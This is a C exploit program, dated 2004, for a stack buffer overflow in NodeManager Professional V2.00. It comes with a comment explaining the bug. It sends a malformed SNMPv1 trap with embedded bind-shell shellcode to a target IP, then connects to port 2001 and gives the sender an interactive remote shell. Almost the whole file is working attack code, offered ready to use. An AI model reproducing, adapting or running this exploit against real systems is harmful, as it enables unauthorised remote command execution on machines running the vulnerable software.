//**************************************************************************
// NodeManager Professional V2.00 Buffer Overflow Vulnerability
// Bind Shell Exploit for English Win2K/XP
// 21 Dec 2004
//
// NodeManager Professional is a network management and monitoring tool.
// It receives SNMPv1 traps and displays them on screen and logs them to
// a file.  NodeManager Professional V2.00 has a stack overflow
// vulnerability that can be exploited by sending a specially crafted 
// SNMPv1 trap.
//
// NodeManager Professional allows the user to use a format string to
// customize how each received trap is logged.  For example, the default 
// format string for the LinkDown event is
//
// "Snmp Trap LinkDown (EnterPrise=%EPRISE ObjectID=%OID Value=%DATA)"
//
// When a LinkDown-Trap packet is received, the various placeholders 
// (e.g. %OID, %DATA) will be replaced with the received values.  The 
// resulting string is then displayed on screen and written out to a log file.  
// The various fields from the received LinkDown-Trap UDP packet is first copied 
// to global buffers in the .data segment.  When the format string is parsed, 
// each received value is first copied to a 512-byte local stack buffer before 
// it is concatenated to the final string.
//
// By sending more than 512 bytes in the Trap DATA field, it is possible
// to overflow the stack buffer and overwrite the EIP.
//
// 
// This exploit code binds shell on port 2001 of a system running a vulnerable 
// version of NodeManager Professional.
//
// Advisory 
// http://www.security.org.sg/vuln/nodemanager200.html
//
// Greetz: snooq, sk, and all guys at SIG^2 G-TEC 
// (http://www.security.org.sg/webdocs/g-tec.html)
//
//**************************************************************************

#include <windows.h>
#include <winsock2.h>
#include <string.h>
#include <malloc.h>
#include <conio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")

unsigned char evilTrap[] =
"\x30\x82\x02\x44\x02\x01\x00\x04\x06\x70\x75\x62\x6C\x69\x63\xA4"
"\x82\x02\x35\x06\x09\x2B\x06\x01\x02\x03\x04\x05\x06\x07\x40\x04"
"\x7F\x00\x00\x01\x02\x01\x02\x02\x01\x00\x43\x02\x12\x34\x30\x82"
"\x02\x16\x30\x82\x02\x12\x06\x08\x2B\x06\x01\x02\x03\x04\x05\x06"
"\x04\x82\x02\x04\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\xCC"

    // bindshell on port 2001
        "\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74"
        "\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B"
        "\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C"
        "\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2"
        "\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04"
        "\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59"
        "\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B"
        "\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
        "\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF"
        "\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33"
        "\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35"
        "\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF"
        "\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8"
        "\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B"
        "\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54"
        "\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED"
        "\xFC\x3B\x7E\xD8\xE2\x73\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A"
        "\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55"
        "\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50"
        "\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0"
        "\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50"
        "\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74"
        "\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66"
        "\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54"
        "\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51"
        "\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51"
        "\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF"
        "\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x9C\x48\x43\x00";    // hardcoded return address (in data segment)


void shell(int sockfd)
{
  char buffer[1024];
  fd_set rset;
  FD_ZERO(&rset);

  for(;;)
  {
    if(kbhit() != 0)
    {    
      fgets(buffer, sizeof(buffer) - 2, stdin);
      send(sockfd, buffer, strlen(buffer), 0);
    }

    FD_ZERO(&rset);
    FD_SET(sockfd, &rset);

    timeval tv;
    tv.tv_sec = 0;
    tv.tv_usec = 50;
    
    if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
    {
      printf("select error\n");
      break;
    }
        
    if(FD_ISSET(sockfd, &rset))
    {
      int n;

      ZeroMemory(buffer, sizeof(buffer));
      if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
      {
        printf("EOF\n");
        return;
      }
      else
      {
        fwrite(buffer, 1, n, stdout);
      }
    }
  }
}


void printUsage(char *filename)
{
    printf("\nUsage: %s <test type> <ip addr>\n\n", filename);
    printf("Test Type : 1 - Crash\n");
    printf("            2 - BindShell on Port 2001\n\n");
}

int main(int argc, char* argv[])
{
  int sock;
  WSADATA wsd;

  if(argc != 3)
  {
    printUsage(argv[0]);
    return 1;
  }
  int testType = atoi(argv[1]);
  if(testType != 1 && testType != 2)
  {
    printUsage(argv[0]);
    return 1;
  }

  if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
  {
    printf("WSAStartup() failed: %d\n", GetLastError());
    return -1;
  }

  sock = socket(AF_INET, SOCK_DGRAM, 0);
  if(sock < 0)
  {
    printf("socket() error!\n");
    WSACleanup();
    return 1;
  }

  struct sockaddr_in dest;
  dest.sin_family = AF_INET;
  dest.sin_port = htons(162);
  dest.sin_addr.s_addr = inet_addr(argv[2]);

  struct sockaddr_in local;
  local.sin_family = AF_INET;
  local.sin_port = htons(0);
  local.sin_addr.s_addr = htonl(INADDR_ANY);
    
  if(bind(sock, (struct sockaddr *)&local, sizeof(local)) < 0)
  {
    printf("Exploit Failed. SOCKET_ERROR return in bind() call.\n");
    closesocket(sock);
    WSACleanup();
    return 1;
  }

  if(testType == 1)
  {
    DWORD *ptr = (DWORD *)(evilTrap + sizeof(evilTrap) - 5);
    *ptr = 0x41414141;

  }

  int structLen = sizeof(dest);    

  int sendSize = sendto(sock, (char *)evilTrap, sizeof(evilTrap)-1, 0, (struct sockaddr *)&dest, structLen);
              
  if(sendSize < 0)
  {
    printf("Exploit Failed. SOCKET_ERROR return in sendto() call.\n");
  }
  else
    printf("Exploit Sent. Size: %d bytes\n", sendSize);

  if(testType == 2)
    printf("Connecting to port 2001 on target. . .");
  Sleep(2000);
  closesocket(sock);
  
  if(testType == 2)
  {
    struct sockaddr_in sin;
    //================================= Connect to the target ==============================
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(sock == INVALID_SOCKET)
    {
      printf("\nInvalid socket return in socket() call.\n");
      WSACleanup();
      return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(2001);
    sin.sin_addr.s_addr = inet_addr(argv[2]);

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
      printf("\nExploit Failed. SOCKET_ERROR return in connect() call.\n");
      closesocket(sock);
      WSACleanup();
      return -1;
    }
    printf("\n\nSuccess!\n\n");  
    shell(sock);

    closesocket(sock);
  }

  WSACleanup();

  return 0;
}